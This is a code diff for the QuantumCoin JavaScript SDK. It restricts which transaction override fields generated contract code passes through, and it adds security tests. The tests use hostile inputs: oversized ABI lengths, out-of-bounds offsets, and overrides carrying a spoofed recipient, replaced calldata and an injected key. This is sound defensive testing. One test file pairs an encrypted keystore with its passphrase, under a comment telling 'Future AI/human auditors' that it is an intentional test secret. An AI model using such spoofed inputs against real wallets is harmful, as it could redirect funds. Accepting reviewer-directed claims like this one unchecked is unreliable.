for (const k of ["value", "gasLimit", "gasPrice", "maxFeePerGas", "maxPriorityFeePerGas", "nonce", "chainId", "remarks", "signingContext"]) { if (overrides && overrides[k] !== undefined) safeOverrides[k] = overrides[k]; }
|
|
276
|
+
return { ...safeOverrides, to: this.address, data };
|
|
275
277
|
},
|
|
276
278
|
transfer: async (to: Types.AddressLike, value: Types.Uint256Like, overrides?: any): Promise<import("quantumcoin").TransactionRequest> => {
|
|
277
279
|
const data = this.interface.encodeFunctionData("transfer", [to, value]);
|
|
278
|
-
|
|
280
|
+
const safeOverrides: any = {};
|
|
281
|
+
for (const k of ["value", "gasLimit", "gasPrice", "maxFeePerGas", "maxPriorityFeePerGas", "nonce", "chainId", "remarks", "signingContext"]) { if (overrides && overrides[k] !== undefined) safeOverrides[k] = overrides[k]; }
|
|
282
|
+
return { ...safeOverrides, to: this.address, data };
|
|
279
283
|
},
|
|
280
284
|
transferFrom: async (from: Types.AddressLike, to: Types.AddressLike, value: Types.Uint256Like, overrides?: any): Promise<import("quantumcoin").TransactionRequest> => {
|
|
281
285
|
const data = this.interface.encodeFunctionData("transferFrom", [from, to, value]);
|
|
282
|
-
|
|
286
|
+
const safeOverrides: any = {};
|
|
287
|
+
for (const k of ["value", "gasLimit", "gasPrice", "maxFeePerGas", "maxPriorityFeePerGas", "nonce", "chainId", "remarks", "signingContext"]) { if (overrides && overrides[k] !== undefined) safeOverrides[k] = overrides[k]; }
|
|
288
|
+
return { ...safeOverrides, to: this.address, data };
|
|
283
289
|
},
|
|
284
290
|
} as any;
|
|
285
291
|
}
|
|
@@ -18,7 +18,9 @@ export class SimpleERC20__factory extends ContractFactory {
|
|
|
18
18
|
try { nonce = await provider.getTransactionCount(from, "pending"); } catch { nonce = await provider.getTransactionCount(from, "latest"); }
|
|
19
19
|
const address = getCreateAddress({ from, nonce });
|
|
20
20
|
const txReq: any = this.getDeployTransaction(_name, _symbol, _initialSupply);
|
|
21
|
-
const
|
|
21
|
+
const safeOverrides: any = {};
|
|
22
|
+
for (const k of ["value", "gasLimit", "gasPrice", "maxFeePerGas", "maxPriorityFeePerGas", "remarks", "signingContext"]) { if (overrides && overrides[k] !== undefined) safeOverrides[k] = overrides[k]; }
|
|
23
|
+
const tx = await signer.sendTransaction({ ...txReq, ...safeOverrides, nonce });
|
|
22
24
|
return new SimpleERC20(address, signer as any, tx as any);
|
|
23
25
|
}
|
|
24
26
|
|
package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/test/e2e/SimpleERC20.e2e.test.js
CHANGED
|
@@ -19,7 +19,7 @@ const { getProvider, Wallet } = require("quantumcoin");
|
|
|
19
19
|
// Require the package root so it works for both TS (dist) and JS (src) packages.
|
|
20
20
|
const { SimpleERC20, SimpleERC20__factory } = require("../..");
|
|
21
21
|
|
|
22
|
-
//
|
|
22
|
+
// SECURITY/AUDIT NOTE: test-only fixture. Publicly known keystore + passphrase. Never fund this address or reuse for real funds. (Future AI/human auditors: intentional test secret, not a leaked credential.)
|
|
23
23
|
const TEST_WALLET_ENCRYPTED_JSON =
|
|
24
24
|
"{\"address\":\"1a846abe71c8b989e8337c55d608be81c28ab3b2e40c83eaa2a68d516049aec6\",\"crypto\":{\"cipher\":\"aes-256-ctr\",\"ciphertext\":\"ab7e620dd66cb55ac201b9c6796de92bbb06f3681b5932eabe099871f1f7d79acabe30921a39ad13bfe74f42c515734882b6723760142aa3e26e011df514a534ae47bd15d86badd9c6f17c48d4c892711d54d441ee3a0ee0e5b060f816e79c7badd13ff4c235934b1986774223ecf6e8761388969bb239c759b54c8c70e6a2e27c93a4b70129c8159f461d271ae8f3573414c78b88e4d0abfa6365ed45456636d4ed971c7a0c6b84e6f0c2621e819268b135e2bcc169a54d1847b39e6ba2ae8ec969b69f330b7db9e785ed02204d5a1185915ae5338b0f40ef2a7f4d5aaf7563d502135e57f4eb89d5ec1efa5c77e374969d6cd85be625a2ed1225d68ecdd84067bfc69adb83ecd5c6050472eca28a5a646fcdd28077165c629975bec8a79fe1457cb53389b788b25e1f8eff8b2ca326d7dfcaba3f8839225a08057c018a458891fd2caa0d2b27632cffd80f592147ccec9a10dc8a08a48fb55047bff5cf85cda39eb089096bef63842fc3686412f298a54a9e4b0bf4ad36907ba373cbd6d32e7ac494af371da5aa9d38a3463220865114c4adc5e4ac258ba9c6af9fa2ddfd1aec2e16887e4b3977c69561df8599ac9d411c9dd2a4d57f92ea4e5c02aae3f49fb3bc83e16673e6c2dbe96bb181c8dfd0f9757ade2e4ff27215a836058c5ffeab042f6f97c7c02339f76a6284680e01b4bb733690eb3347fbfcc26614b8bf755f9dfce3fea9d4e4d15b164983201732c2e87593a86bca6da6972e128490338f76ae68135888070f4e59e90db54d23834769bdbda9769213faf5357f9167a224523975a946367b68f0cec98658575609f58bfd329e420a921c06713326e4cb20a0df1d77f37e78a320a637a96c604ca3fa89e24beb42313751b8f09b14f9c14c77e4fd13fc6382505d27c771bca0d821ec7c3765acffa99d83c50140a56b0b28101c762bd682fe55cb6f23cbeb3f421d7b36021010e45ac27160dd7ead99c864a1b550c7edb1246950fe32dcc049799f9085287f0a747a6ef7a023df46a23a22f3e833bbf8d404f84344870492658256ee1dfc40fda33bb8d48fc72d4520ba9fc820c9123104a045206809037709f2a5f6723fa77d6bac5a573823d4ec3a7f1cb786a52ee2697e622e5d75962fa554d1024a6c355e21f33a63b2b72e6c4742a8b1c373aa532b40518c38c90b5373c2eb8c9d7be2a9e16047a3ee09dc9a6849deac5183ace6cfe91a9bef2ffc0a7df6ccebfd4c858c84b0e0355650d7466971e66f1e3883013e5ad1be33199b1d110b79070ac1b745ccb14cf63a08f8cca3a21c9525e626ff5f0c34746e10750fb742ad51f11f2acae3676c2111853d7250d01b77821a6ba9e04400ba2c543ca9f2d701ae6f47bfad14ffe3039ee9e71f7b2401359ade9938750ddb9c5a8b018a7929ed8d0e717ff1861446ce17535e9b17c187711190aae3388bd9490837a636c25ed4d42d7079ad1a51e13292c683d5d012abcf46965c534b83ab53f2c1f0cf5830ef7582e06863a33c19a70511df632885d63245965047ea96b56f1af5b3b94a54999f784fb9574fdfcd7c1230e07a2aaa04acd3097b2b9f8ddba05ae9734491deb5c1a513c76ed276cb78bbf4839dae3156d76af444a5805129d5df791167a9c8576a1d7f760b2d2797c4658669608706fbd0ace1be2346f74862dfc9ef518e55632e43c043186e5d070deb34d12fb9e5aba84e5cb50213dc88efd39cc35bf42455aa82d5e3b707b3140be3b8623b34fdd81d08615c188ae8438a13881fdf6bf32f2cb9ff5fa625561040c6b71d4b8eccc90bc3b99650d28dd1ee63773e49664e3d48c484996b290943635a6f2eb1ce9796d3fa144a3f00ef82faaa32d6a413668f7b521517cb68b2b017fcf56c79326fa5e4060e643631ca3f0a0dc0ed718798b6f46b130d437c33f64039e887324b6f5e604b1669d613923794edbf04b1b3caea54793b52b44b170173a4f25c7ecef3b71e2aad76e556b1cb9f1d637ec52ececfa950dd31dbb6a60828a3ad34c1beffe09eb4785786d63bad10a0b0f66ea88c57380f38ea85f018dbd7f538cf1ee7624095b9a01ec5edd528f281168af020609e651ff316aa1320a710134ddfca600cc72174dcdb846d2aa29916488aa1b537b66da92e61af526debef4eb38c984569eaf549ff2129449269b492d030cd74d885f6f5785881cc4804b4a8a09ba4ff7aefe9074ac7d0c4f05d51fe4cc0ff7388a772092b9d02d70e5433a5cf3e02f46a6bd6b818d59a07ce3b9fbbf8b5faba74563bcc5240930c2d406c9aaee3e3ce0429bf68ac2b0a57adb09414cff50817d2a48fb9fa624ab863cb0c31a8b8dc5eaf6fa68cc1d7c6c685c5a33edd5c8933b9e8ab628ee428d0743699b2ff17f25586c7ce959280bb0b8c5342251f0a30b53dbc7bf1ee426ac9619c3560f811f2268ee37f189794e2e4b3db3a2fb2e34b649e504fb467438abfd1082619cc4a0b30d66beb831077812e418d2e2148db10cf4d4a29101ca52ec445b8d83519dd7de85a98e0beae9ee537096d3f1a55a7a80cdfa93d25f07c9f98e8af18cde19ec1f99c5dd4588b717a5039ddb7f177717caf0d0fd45420a70dbd6d3146890d9e450d5224146db4c33b779e3c3a04b976c052bad042ac57dd38be45407808c0fb0d7e2a8819e6cd53c6739e6612996ddaa6f066552590aa0343bc1e62b298ff2514a0cef8be21956c2e942816f7a3a3a0935eaf9b37251409ce444c986c3817e82835555fe18239f3ae33469d7965c2bde9991fde556bd07af01df52bbde0c35bb4ef48e3b5d0db53f8ca4ed35b83f760f0a1bc4ed9f86e85d6039a17df373c85402ef956f01db00eb39c4b74bd0660d29ee746714d9780d738e05c6cca414ce3d7b40dda8036a9eea9ab1388805f913eb19bdd3f09d9e161eaa50231bd9caba61971f194332dd28c696a60458c1c6c2cc5da8b1192611c7c553e9e12fe48ce46bbb891be8bb118721c86222e671ddd1da8f0ccb2b68e02f2014b4925e904e88369aaf7466bd7033a60c265d45955944916ecbdb84bf1b522b01b0149c632e04c568a7eb627c5bb90ece052ebcf79166c28b30d23fe52da0a5ab5dea83ca479a3e3b7a9cfbbfea04dbe6137c19d067317c2ec427a8c75a6b06bec6dcd5d5c0edc9aa80b9003b8e17c088b2f3db327d3e42630d82d20120240c3ba56232280787da4aabbf5bc95a864029f00710e195f2a76460a0317d10b552fe1bea097e41d49756c680a41d6ac186e62169b6b6cd7776ea84618b5b752328a5bacaa10aa122ff9b2698b43efe73d852a899db644863c8c9bc8068ea86ea843fd6fe36272b91cdc5d5317083ef3fd1e5462a0b0d0604dc57b3bbfceb0fca4cd349625dd7b25166af30efe5ee6a0af953a74d65f4736c59918ee55a3b0d9d9d42e04c7f8a77e479109f740e20c464d5d7e3d16805f47b61f403ff7f408c9e850d9baacd8067e544536a4953480b0f9ee9cd45f41ebd67b51f78788a6470cb1e5ca72ca346ce8a50d0ca0c921d5576a4455a1afb6d0bc688004712ee122cacdb29c51e84893324c27fa4a3f1917edf5352272b4c97579a6152e4b77663d0ab532915f2eeb6a862de8b696452321b660c3f2449673d086e95a7af28845a5259b763e0fcd09f72acf7b6c811066263060e5aa5b24658e880a01fd56bda4dad5ab604e129290f7d5489728f2a40968c6168b21cebbbcd11727cc9e9160c4e92e04387d3b0d62aab06a61f26daedd9fed11816ef2180172a47f47184ac4032b88758c98a2e0fb200f70e93ba695f5ebb7a1029610ad360d3b7fa1b4640b9dc674d3625eef786da93dff19bc7991b5d6193a3896664763fde479b5dfc04812111a80782854f2cf68ca7d82765cc9eb40fba4b44640710ed6e653abf9f07b466333f4fd22784d53cf40e17120f42caa841eaa24056b237827b0f47f7257c103c35027e9f503e5acfd023e7357b600d3084d361d5ee65ba319b45c153212a54e6fed85af7e43e0a926ebcbc2edf8de7e2ec9528f00bec262ad04d5c9dafccaea06a24748d28bf1799bae0e895543084539c50b5aaa4fb50d7431d6f0c8cee2a54aaf7ee7919b55bf40adb688632e5dbe273cea09e97b19c3d8e1f4de000deb66fa1942ad03a62d3252f51992244366c156000b49c297167a6cbdedea7ebae139d295f0ad298e0864249b905b7eb812886ec70ecdb286702274b5b8574149bf3866f9e46b997ff5ed622b169a0eb071347f18d530db1663906a28f4544ee4e004ab87b65476af30ede118052ff052b8dc986ca2c93dd5d4943266a579c7698ea014f688b3e8063a107feb162d392e2177b01bff77fb5abe5feebd0607158049a5a093325b7c9ee6b4dfa7a9f65c7c2fb628920d3603a1c2dad979eaa047cd661a268af1078c9788d720e64e4ce9d12e68de1e417ef2f293323681e1071f9220e1ee43d2e29d111b870ce3439f5100ecd4551ab65ee74aa1667e564957e9bc0ae1ea193980da2a0ec2698073388c85bec25ef447f0d5e93a5203fa44dff268e5cb799ed3b66e63d5e07b487e7534f24934c73a62a243e0151843a0fd3807711a101eaa7fc71f0ba68aebb9534d57cba41b094eebfb4c31cca8eddfa426f676aa347be8a7023a4e91ddb154b35cd4d5f7dbc2e5db491de99f33fc2cff2d57029ac950e1ccd681980af6a4e8969dfe39b3c7bfcbcf8fac92f1e6ec9fe572bfa6a7d65860eab2ed10ac01a71290b52e3148e84b7376a8605cd2bb0e8681ffc54691ce087685e33921bd44d36c78291713dce17569570f62137e6904f0d68cf53aa2ec395c389a75141f08114fb293ea63950e4ffee55ec6fc83cf44876b8e7f25cdd393ff87b9eda6eb746085b61a6900de191f0ce2cb388d61ece52e78bc47368194e8e00277e0d1631e6b9d4626ef76f8522582ccd5a40be3febc699bb510acc6271d55ff0f4cf3bb7669855a72efd9ca3e1056a2fe592a5bc877cce2b1f63b58383971da87873d2d1349cf5881242cdce4e7e2c5c514755746a0e0a7c2a6d9701cde005ae3420beb17c379a3516662253554f51f0423bb1844b0b90c54ed8177ceb0e1036a6609d836e748ca06c40ca64befadc6443ec286a0ce464678e8d11eb455f7bb305acebf6cb1f50e394a9bfeb752df1687831bac9cdd811f4f112ef6658d0f8799a866374ff96c5e2b79f30e7a74f8a2bc9ed1f88f01f30e30cb78ffb2bff10108f35e910ee3be4463e9e6f0ed910e8d598326e71dfa2277ffe5579d7fe9b6018bfe295b25219eae07b3b0270665c3fa00c3e0d180812b5cd62925585de84a7c48a9a86dba96544a251654d1966e082432dc85b6149cf21e91a46020ec32b66d28ba3b6a90c0617bc6fdd55aea819af2bcf84864ad60c28fe3c9f8339d0aee68b39d97f63b6e082835d86119cf9b9fdc8b827c847ce40aa10e1577a710132316845e825345e95bdf94d0c66ec65a6c4319fce4792313663b5f7a651a6710783e6ab71608ac6cbbf3af6911adf596ccf7c172b9bd5bceb6db379967b32b143bdd11d2ee12ddf64ecef6391e0f8570e6cddd3db95204919362b89b739fa94e7c1bfde799fd5e22aa25ca6ca42e30c08e23aae2385d99ebab441072a880dcefdab74a4c9bd39d363f6d1933d59400fca161d432aa00f23b1b1c19a154be8989699d549b66d44e39896f5523443bc6ddf4a65e91f1f3fb7b52318869a05856a4fc92f3694c81ed833c972fb918f7e5\",\"cipherparams\":{\"iv\":\"8c46d6162cd4c765759aedcbce2a5874\"},\"kdf\":\"scrypt\",\"kdfparams\":{\"dklen\":32,\"n\":262144,\"p\":1,\"r\":8,\"salt\":\"82fb6cdc6917609135277badacf15baa31899d08b71a5a0fa33167167c161537\"},\"mac\":\"9187b17f7eca48e6b8c586b0cd790dbe0feb876ac8385f93faa7d5e22a3c8fc7\"},\"id\":\"92caf6ee-2d43-48c0-859e-ffa1e0e23312\",\"version\":3}";
|
|
25
25
|
const TEST_WALLET_PASSPHRASE = "QuantumCoinExample123!";
|
|
@@ -126,7 +126,7 @@ describe("auto-generator: interface contract end-to-end (real chain)", () => {
|
|
|
126
126
|
try {
|
|
127
127
|
const res = spawnSync(
|
|
128
128
|
process.execPath,
|
|
129
|
-
["--test", testFile],
|
|
129
|
+
["--test", "--test-reporter=tap", testFile],
|
|
130
130
|
{
|
|
131
131
|
cwd: tmpRoot,
|
|
132
132
|
env: childEnv,
|
|
@@ -140,14 +140,16 @@ describe("auto-generator: interface contract end-to-end (real chain)", () => {
|
|
|
140
140
|
0,
|
|
141
141
|
`generated interface test failed:\nSTDOUT:\n${res.stdout}\nSTDERR:\n${res.stderr}`,
|
|
142
142
|
);
|
|
143
|
+
// Accept either the TAP reporter ("# pass 1") or the spec reporter
|
|
144
|
+
// ("\u2139 pass 1") summary line so the assertion is reporter-agnostic.
|
|
143
145
|
assert.match(
|
|
144
146
|
res.stdout || "",
|
|
145
|
-
|
|
146
|
-
`generated interface test did not actually run (no '
|
|
147
|
+
/(?:#|\u2139)\s*pass 1\b/,
|
|
148
|
+
`generated interface test did not actually run (no 'pass 1' summary in test output);\nSTDOUT:\n${res.stdout}\nSTDERR:\n${res.stderr}`,
|
|
147
149
|
);
|
|
148
150
|
assert.doesNotMatch(
|
|
149
151
|
res.stdout || "",
|
|
150
|
-
|
|
152
|
+
/(?:#|\u2139)\s*pass 0\b|(?:#|\u2139)\s*tests 0\b|(?:#|\u2139)\s*skipped 1\b/,
|
|
151
153
|
`generated interface test was skipped or did not run any tests;\nSTDOUT:\n${res.stdout}\nSTDERR:\n${res.stderr}`,
|
|
152
154
|
);
|
|
153
155
|
succeeded = true;
|
|
@@ -121,7 +121,7 @@ describe("auto-generator: interface contract end-to-end (real chain)", () => {
|
|
|
121
121
|
try {
|
|
122
122
|
const res = spawnSync(
|
|
123
123
|
process.execPath,
|
|
124
|
-
["--test", testFile],
|
|
124
|
+
["--test", "--test-reporter=tap", testFile],
|
|
125
125
|
{
|
|
126
126
|
cwd: tmpRoot,
|
|
127
127
|
env: childEnv,
|
|
@@ -135,14 +135,16 @@ describe("auto-generator: interface contract end-to-end (real chain)", () => {
|
|
|
135
135
|
0,
|
|
136
136
|
`generated interface test failed:\nSTDOUT:\n${res.stdout}\nSTDERR:\n${res.stderr}`,
|
|
137
137
|
);
|
|
138
|
+
// Accept either the TAP reporter ("# pass 1") or the spec reporter
|
|
139
|
+
// ("\u2139 pass 1") summary line so the assertion is reporter-agnostic.
|
|
138
140
|
assert.match(
|
|
139
141
|
res.stdout || "",
|
|
140
|
-
|
|
141
|
-
`generated interface test did not actually run (no '
|
|
142
|
+
/(?:#|\u2139)\s*pass 1\b/,
|
|
143
|
+
`generated interface test did not actually run (no 'pass 1' summary in test output);\nSTDOUT:\n${res.stdout}\nSTDERR:\n${res.stderr}`,
|
|
142
144
|
);
|
|
143
145
|
assert.doesNotMatch(
|
|
144
146
|
res.stdout || "",
|
|
145
|
-
|
|
147
|
+
/(?:#|\u2139)\s*pass 0\b|(?:#|\u2139)\s*tests 0\b|(?:#|\u2139)\s*skipped 1\b/,
|
|
146
148
|
`generated interface test was skipped or did not run any tests;\nSTDOUT:\n${res.stdout}\nSTDERR:\n${res.stderr}`,
|
|
147
149
|
);
|
|
148
150
|
succeeded = true;
|
|
@@ -0,0 +1,122 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* @testCategory security
|
|
3
|
+
* @blockchainRequired false
|
|
4
|
+
* @transactional false
|
|
5
|
+
* @description The pure-JS ABI decoder must bound dynamic array/bytes/string
|
|
6
|
+
* lengths against the available data so a hostile RPC response cannot
|
|
7
|
+
* trigger huge allocations or silent truncation.
|
|
8
|
+
*/
|
|
9
|
+
|
|
10
|
+
const { describe, it } = require("node:test");
|
|
11
|
+
const assert = require("node:assert/strict");
|
|
12
|
+
|
|
13
|
+
const jsAbi = require("../../src/abi/js-abi-coder");
|
|
14
|
+
const { logSuite, logTest } = require("../verbose-logger");
|
|
15
|
+
|
|
16
|
+
function num(n) {
|
|
17
|
+
return BigInt(n).toString(16).padStart(64, "0");
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
describe("Security: ABI decoder allocation bounds", () => {
|
|
21
|
+
logSuite("Security: ABI decoder allocation bounds");
|
|
22
|
+
|
|
23
|
+
it("rejects a dynamic array declaring more elements than the data can hold (negative)", () => {
|
|
24
|
+
logTest("rejects an over-long dynamic array length", {});
|
|
25
|
+
// head: offset(0x20) -> tail: huge length, no element data
|
|
26
|
+
const data = "0x" + num(32) + num(1_000_000);
|
|
27
|
+
assert.throws(
|
|
28
|
+
() => jsAbi.decodeFunctionResult([{ type: "uint256[]" }], data),
|
|
29
|
+
/array length exceeds available data/i,
|
|
30
|
+
);
|
|
31
|
+
});
|
|
32
|
+
|
|
33
|
+
it("rejects dynamic bytes declaring more than the data can hold (negative)", () => {
|
|
34
|
+
logTest("rejects an over-long bytes length", {});
|
|
35
|
+
const data = "0x" + num(32) + num(1_000_000);
|
|
36
|
+
assert.throws(
|
|
37
|
+
() => jsAbi.decodeFunctionResult([{ type: "bytes" }], data),
|
|
38
|
+
/bytes length exceeds available data/i,
|
|
39
|
+
);
|
|
40
|
+
});
|
|
41
|
+
|
|
42
|
+
it("rejects a string declaring more than the data can hold (negative)", () => {
|
|
43
|
+
logTest("rejects an over-long string length", {});
|
|
44
|
+
const data = "0x" + num(32) + num(1_000_000);
|
|
45
|
+
assert.throws(
|
|
46
|
+
() => jsAbi.decodeFunctionResult([{ type: "string" }], data),
|
|
47
|
+
/string length exceeds available data/i,
|
|
48
|
+
);
|
|
49
|
+
});
|
|
50
|
+
|
|
51
|
+
it("decodes a well-formed dynamic array (positive)", () => {
|
|
52
|
+
logTest("decodes a well-formed dynamic array", {});
|
|
53
|
+
const data = "0x" + num(32) + num(2) + num(1) + num(2);
|
|
54
|
+
const [arr] = jsAbi.decodeFunctionResult([{ type: "uint256[]" }], data);
|
|
55
|
+
assert.deepEqual(arr, [1n, 2n]);
|
|
56
|
+
});
|
|
57
|
+
|
|
58
|
+
it("decodes well-formed dynamic bytes (positive)", () => {
|
|
59
|
+
logTest("decodes well-formed dynamic bytes", {});
|
|
60
|
+
// length 3, value 0x010203 left-aligned in the data word
|
|
61
|
+
const data = "0x" + num(32) + num(3) + "010203".padEnd(64, "0");
|
|
62
|
+
const [bytes] = jsAbi.decodeFunctionResult([{ type: "bytes" }], data);
|
|
63
|
+
assert.equal(bytes, "0x010203");
|
|
64
|
+
});
|
|
65
|
+
});
|
|
66
|
+
|
|
67
|
+
describe("Security: ABI decoder static reads, offset aliasing & fixed arrays", () => {
|
|
68
|
+
logSuite("Security: ABI decoder static reads, offset aliasing & fixed arrays");
|
|
69
|
+
|
|
70
|
+
it("rejects a static word read past the end of the data (negative)", () => {
|
|
71
|
+
logTest("rejects an out-of-bounds static uint256 read", {});
|
|
72
|
+
// Truncated data (10 bytes < one 32-byte word): previously _readWordAsBigInt
|
|
73
|
+
// silently sliced a short array and returned a corrupted/zero value.
|
|
74
|
+
const data = "0x" + "12".repeat(10);
|
|
75
|
+
assert.throws(() => jsAbi.decodeFunctionResult([{ type: "uint256" }], data), /read past end of data/i);
|
|
76
|
+
});
|
|
77
|
+
|
|
78
|
+
it("rejects an out-of-bounds static address read (negative)", () => {
|
|
79
|
+
logTest("rejects an out-of-bounds static address read", {});
|
|
80
|
+
const data = "0x" + "12".repeat(10);
|
|
81
|
+
assert.throws(() => jsAbi.decodeFunctionResult([{ type: "address" }], data), /read past end of data/i);
|
|
82
|
+
});
|
|
83
|
+
|
|
84
|
+
it("rejects a dynamic offset that points back into the head region / aliasing (negative)", () => {
|
|
85
|
+
logTest("rejects a dynamic offset aliasing into the head", {});
|
|
86
|
+
// Single dynamic param; head word holds offset 0 (< headSize 32).
|
|
87
|
+
const data = "0x" + num(0);
|
|
88
|
+
assert.throws(() => jsAbi.decodeFunctionResult([{ type: "bytes" }], data), /points into head region/i);
|
|
89
|
+
});
|
|
90
|
+
|
|
91
|
+
it("rejects a dynamic offset that points outside the data (negative)", () => {
|
|
92
|
+
logTest("rejects a dynamic offset out of bounds", {});
|
|
93
|
+
const data = "0x" + num(1_000_000);
|
|
94
|
+
assert.throws(() => jsAbi.decodeFunctionResult([{ type: "bytes" }], data), /dynamic offset out of bounds/i);
|
|
95
|
+
});
|
|
96
|
+
|
|
97
|
+
it("rejects an enormous fixed-array dimension before allocating (negative)", () => {
|
|
98
|
+
logTest("rejects an over-large fixed array length", {});
|
|
99
|
+
const data = "0x" + num(1);
|
|
100
|
+
assert.throws(
|
|
101
|
+
() => jsAbi.decodeFunctionResult([{ type: "uint256[1000000000]" }], data),
|
|
102
|
+
/fixed array length exceeds available data/i,
|
|
103
|
+
);
|
|
104
|
+
});
|
|
105
|
+
|
|
106
|
+
it("decodes well-formed static values (positive)", () => {
|
|
107
|
+
logTest("decodes well-formed static uint256 + address", {});
|
|
108
|
+
const addrWord = "00".repeat(31) + "ab"; // 32-byte word ending in 0xab
|
|
109
|
+
const data = "0x" + num(5) + addrWord;
|
|
110
|
+
const [n, addr] = jsAbi.decodeFunctionResult([{ type: "uint256" }, { type: "address" }], data);
|
|
111
|
+
assert.equal(n, 5n);
|
|
112
|
+
assert.equal(typeof addr, "string");
|
|
113
|
+
assert.ok(addr.toLowerCase().endsWith("ab"));
|
|
114
|
+
});
|
|
115
|
+
|
|
116
|
+
it("decodes a well-formed small fixed array (positive)", () => {
|
|
117
|
+
logTest("decodes a well-formed uint256[2]", {});
|
|
118
|
+
const data = "0x" + num(7) + num(8);
|
|
119
|
+
const [arr] = jsAbi.decodeFunctionResult([{ type: "uint256[2]" }], data);
|
|
120
|
+
assert.deepEqual(arr, [7n, 8n]);
|
|
121
|
+
});
|
|
122
|
+
});
|
|
@@ -0,0 +1,112 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* @testCategory security
|
|
3
|
+
* @blockchainRequired false
|
|
4
|
+
* @transactional false
|
|
5
|
+
* @description Contract override spoofing. A caller-supplied `overrides`
|
|
6
|
+
* object must never be able to redirect a contract call to a
|
|
7
|
+
* different address (`to`) or replace the encoded calldata (`data`).
|
|
8
|
+
* Allow-listed fields (value, gasLimit, ...) must still apply.
|
|
9
|
+
*/
|
|
10
|
+
|
|
11
|
+
const { describe, it } = require("node:test");
|
|
12
|
+
const assert = require("node:assert/strict");
|
|
13
|
+
const fs = require("node:fs");
|
|
14
|
+
const os = require("node:os");
|
|
15
|
+
const path = require("node:path");
|
|
16
|
+
|
|
17
|
+
const { Initialize } = require("../../config");
|
|
18
|
+
const qc = require("../../index");
|
|
19
|
+
const { generateFromArtifacts } = require("../../src/generator");
|
|
20
|
+
const { logSuite, logTest } = require("../verbose-logger");
|
|
21
|
+
|
|
22
|
+
const ABI = [
|
|
23
|
+
{
|
|
24
|
+
type: "function",
|
|
25
|
+
name: "transfer",
|
|
26
|
+
stateMutability: "nonpayable",
|
|
27
|
+
inputs: [
|
|
28
|
+
{ name: "to", type: "address" },
|
|
29
|
+
{ name: "amount", type: "uint256" },
|
|
30
|
+
],
|
|
31
|
+
outputs: [{ name: "", type: "bool" }],
|
|
32
|
+
},
|
|
33
|
+
];
|
|
34
|
+
|
|
35
|
+
function _mockSigner() {
|
|
36
|
+
const captured = [];
|
|
37
|
+
return {
|
|
38
|
+
captured,
|
|
39
|
+
signTransaction: async () => "0x",
|
|
40
|
+
sendTransaction: async (tx) => {
|
|
41
|
+
captured.push(tx);
|
|
42
|
+
return { hash: "0x" + "22".repeat(32) };
|
|
43
|
+
},
|
|
44
|
+
};
|
|
45
|
+
}
|
|
46
|
+
|
|
47
|
+
describe("Security: contract override spoofing", () => {
|
|
48
|
+
logSuite("Security: contract override spoofing");
|
|
49
|
+
|
|
50
|
+
it("send() ignores overrides.to/data/from but applies value/gasLimit (negative + positive)", async () => {
|
|
51
|
+
logTest("send() ignores overrides.to/data/from but applies value/gasLimit", {});
|
|
52
|
+
await Initialize(null);
|
|
53
|
+
|
|
54
|
+
const contractAddr = qc.Wallet.createRandom().address;
|
|
55
|
+
const recipient = qc.Wallet.createRandom().address;
|
|
56
|
+
const evil = qc.Wallet.createRandom().address;
|
|
57
|
+
|
|
58
|
+
const signer = _mockSigner();
|
|
59
|
+
const c = new qc.Contract(contractAddr, ABI, signer);
|
|
60
|
+
|
|
61
|
+
await c.send("transfer", [recipient, 1n], {
|
|
62
|
+
to: evil, // must be ignored
|
|
63
|
+
data: "0xdeadbeef", // must be ignored
|
|
64
|
+
from: evil, // must be ignored
|
|
65
|
+
gasLimit: 99999, // must be applied
|
|
66
|
+
value: 5n, // must be applied
|
|
67
|
+
attackerKey: "x", // unknown key must be dropped
|
|
68
|
+
});
|
|
69
|
+
|
|
70
|
+
const tx = signer.captured[0];
|
|
71
|
+
assert.equal(tx.to, c.address, "to must be the contract address, not the attacker's");
|
|
72
|
+
assert.notEqual(tx.to, evil);
|
|
73
|
+
assert.notEqual(tx.data, "0xdeadbeef", "data must be the encoded call, not attacker data");
|
|
74
|
+
assert.ok(typeof tx.data === "string" && tx.data.startsWith("0x"));
|
|
75
|
+
assert.equal(tx.from, undefined, "from must not be injectable via overrides");
|
|
76
|
+
assert.equal(tx.gasLimit, 99999, "allow-listed gasLimit must apply");
|
|
77
|
+
assert.equal(tx.value, 5n, "allow-listed value must apply");
|
|
78
|
+
assert.ok(!("attackerKey" in tx), "unknown override keys must be dropped");
|
|
79
|
+
});
|
|
80
|
+
|
|
81
|
+
it("populateTransaction.<fn> protects to/data while keeping allow-listed fields", async () => {
|
|
82
|
+
logTest("populateTransaction.<fn> protects to/data while keeping allow-listed fields", {});
|
|
83
|
+
await Initialize(null);
|
|
84
|
+
const contractAddr = qc.Wallet.createRandom().address;
|
|
85
|
+
const recipient = qc.Wallet.createRandom().address;
|
|
86
|
+
const evil = qc.Wallet.createRandom().address;
|
|
87
|
+
const c = new qc.Contract(contractAddr, ABI);
|
|
88
|
+
|
|
89
|
+
const tx = await c.populateTransaction.transfer(recipient, 1n, { to: evil, data: "0xbad", gasLimit: 7 });
|
|
90
|
+
assert.equal(tx.to, c.address);
|
|
91
|
+
assert.notEqual(tx.data, "0xbad");
|
|
92
|
+
assert.equal(tx.gasLimit, 7);
|
|
93
|
+
});
|
|
94
|
+
|
|
95
|
+
it("generated factory/contract templates filter overrides (source-level assertion)", () => {
|
|
96
|
+
logTest("generated factory/contract templates filter overrides", {});
|
|
97
|
+
const tmp = fs.mkdtempSync(path.join(os.tmpdir(), "qcgen-ov-"));
|
|
98
|
+
const outDir = path.join(tmp, "out");
|
|
99
|
+
const abi = [
|
|
100
|
+
{ type: "constructor", stateMutability: "nonpayable", inputs: [] },
|
|
101
|
+
...ABI,
|
|
102
|
+
];
|
|
103
|
+
const res = generateFromArtifacts({ outDir, lang: "ts", artifacts: [{ contractName: "Tok", abi, bytecode: "0x6000" }] });
|
|
104
|
+
const factorySrc = fs.readFileSync(res.contracts[0].factoryFile, "utf8");
|
|
105
|
+
const contractSrc = fs.readFileSync(res.contracts[0].contractFile, "utf8");
|
|
106
|
+
// The unsafe spread of raw overrides must be gone.
|
|
107
|
+
assert.ok(!factorySrc.includes("...(overrides || {})"), "factory must not spread raw overrides");
|
|
108
|
+
assert.ok(!contractSrc.includes("...(overrides || {})"), "contract must not spread raw overrides");
|
|
109
|
+
